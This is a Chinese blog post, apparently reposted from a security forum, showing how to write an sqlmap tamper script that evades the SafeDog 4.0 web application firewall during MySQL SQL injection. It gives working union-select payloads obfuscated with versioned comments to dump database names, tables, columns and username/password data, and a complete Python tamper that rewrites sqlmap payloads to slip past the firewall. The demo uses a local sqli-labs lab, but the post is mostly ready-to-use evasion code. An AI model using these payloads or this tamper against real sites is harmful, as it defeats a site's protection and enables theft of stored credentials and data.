原作者:我会啊D

原文出处:https://www.t00ls.net/articles-52894.html

0x0 前言

在sql注入的时候,很可能会碰到各种厂商的waf,bypass之后,以后每次都要手工进行绕过,这样很麻烦。我们可以自己编写一个tamper,这样就达到一个自动化bypass的功能了

0x01 安全狗拦截的点

  • and 1
    只要and后面接数字,安全狗就会拦截
  • order by
    order 后面接by,安全狗就会拦截
  • USER()
    user后面接括号,安全狗就会拦截
  • union select union后面接select,安全狗就会拦截

0x02 bypass安全狗

具体过程不说了,贴出payload

1、查询用户

union/*!11440/**/select*/%201,hex(user/**/()),3

2、查询库名

union/*!11440/**/select*/%201,group_concat(schema_name),3 from `information_schema`.schemata --+

3、查询表名

union/*!11440/**/select*/ 1,group_concat(table_name),3 from `information_schema`.tables where table_schema='security' --+

4、查询列名

union/*!11440/**/select*/ 1,group_concat(column_name),3 from `information_schema`.columns where table_name='users' --+

5、查询数据

union/*!11440/**/select*/ 1,group_concat(username,password),3 from `users` --+

0x03 tamper结构

tamper由三大结构组成,如下:

Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
Author:J8sec.com
""" from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies():
pass def tamper(payload, **kwargs):
pass

PROIORITY

PRIORITY是定义tamper的优先级,如果使用者使用了多个tamper,sqlmap就会根据每个tamper定义PRIORITY的参数等级来优先使用等级较高的tamper,PRIORITY有以下几个参数:

LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100

值越高,优先级越高。因为我们这里只是绕过安全狗,随便设置个值就ok。

dependencies

dependencies主要是提示用户,这个tamper支持哪些数据库,具体代码如下:

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os __priority__ = PRIORITY.LOW def dependencies():
singleTimeWarnMessage("Bypass 安全狗4.0 '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

效果如下图:

DBMS.MYSQL这个参数代表的是Mysql,其他数据库的参数如下:

ACCESS = "Microsoft Access"
DB2 = "IBM DB2"
FIREBIRD = "Firebird"
MAXDB = "SAP MaxDB"
MSSQL = "Microsoft SQL Server"
MYSQL = "MySQL"
ORACLE = "Oracle"
PGSQL = "PostgreSQL"
SQLITE = "SQLite"
SYBASE = "Sybase"
HSQLDB = "HSQLDB"

Tamper

tamper这个函数是tamper最重要的函数,你要实现的功能,全部写在这个函数里
payload这个参数就是sqlmap的原始注入payload,我们要实现绕过,一般就是针对这个payload的修改。kwargs是针对http头部的修改,如果你bypass,是通过修改http头,就需要用到这个

0x04 编写tamper

环境

攻击机:windows 10 安装有sqlmap,burpsuite
靶机:windows 7 安装有sqli-labs注入环境,安全狗4.0 ip:

思路

我们利用Burpsuite来抓sqlmap的包,然后一步步进行绕过

编写过程

sqlmap敲如下命令:

sqlmap.py -u http://192.168.1.120/sql/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --random-agent

这里解释下为什么要加--random-agent这个参数,因为安全狗看到sqlmap默认的agent头会拦截,所以我们得加这个随即头参数来进行绕过

1、识别注入

抓到的sqlmap包如图:

安全狗默认不会拦截,sqlmap就会判断可能存在注入

继续抓包

被安全狗拦截了,前面说了,安全狗拦截and 加数字,现在我们开始编写tamper

def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11440AND*/')

把and替换成我们前面bypass的payload,就不会拦截了。后面的order by,user(),union select同理,这里我就不一一介绍了,只讲下SESSION_USER()

2、识别数据库类型

绕过了and之后,sqlmap会识别数据库类型

虽然我们绕过了user()这个函数,安全狗还是进行了拦截,经过测试,发现安全狗拦截了SESSION_USER(),本来是想把SESSION_USER按照USER()进行绕过,也就是 hex(SESSION_user/**/()),发现会报错,如图:

因为安全狗拦截函数是拦截名称和括号之间,既然名称那饶不了,我们就在括号里做文章。最后经过测试,payload为:hex(SESSION_USER(-- B%0a))

3、注入

因为后面payload大同小异,我们只要把sqlmap原始的UNION ALL SELECT替换成union/!11440//就好了

成品

#!/usr/bin/env python

"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
Author:J8sec.com
""" from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os __priority__ = PRIORITY.LOW def dependencies():
singleTimeWarnMessage("Bypass 安全狗4.0 '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11440AND*/')
payload=payload.replace('ORDER','/*!11440order*/')
payload=payload.replace('USER())','hex(user/**/()))')
payload=payload.replace('SESSION_USER()','hex(SESSION_USER(-- B%0a))')
payload=payload.replace('UNION ALL SELECT','union/*!11440/**/select*/')
return payload

最后效果如图:

最新文章

  1. Url和Uri的区别
  2. IIS Express 配置外部访问
  3. window.location 结构
  4. 计算机网络(3)-----IP数据报格式
  5. Spring3系列11- Spring AOP——自动创建Proxy
  6. 第三方登录之qq登录(转载)
  7. YII开发技巧分享——模型(models)中rules自定义验证规则
  8. Drupal建站过程思考——不识庐山真面目,只缘身在此山中
  9. 【docker】docker初试与填坑
  10. Codeforces 707D Persistent Bookcase(时间树)
  11. JqGrid相关操作
  12. ES6中函数新增的方式方法
  13. 解决UIScrollView,UIImageView等控件不能响应touch事件的问题
  14. CSS3之3D立方体效果
  15. Python入门 序列章
  16. 关于前缀和,A - Hamming Distance Sum
  17. HDU 6050 17多校2 Funny Function(数学+乘法逆元)
  18. caffe openpose/Realtime Multi-Person 2D Pose Estimation using Part Affinity Fields配置(转)
  19. python自动化之model进阶操作一
  20. unity3d绘画手册-------地形高度调节

热门文章

  1. webRTC client 源码环境工具配置
  2. img中alt和title属性的区别
  3. RabbitMQ-python应用
  4. 隐藏Apache版本号及版本敏感信息
  5. Android笔记(七十二) Style和Theme
  6. Caused by: com.mysql.jdbc.MysqlDataTruncation: Data truncation: Out of range value for column 'phone' at row 1
  7. ArcGIS API for JS 4.x 离线部署(https)
  8. 用指针形式实现strstr函数
  9. 《你们都是魔鬼吗》第八次团队作业:第三天Alpha冲刺
  10. PHP——汉字完美转为ASCII码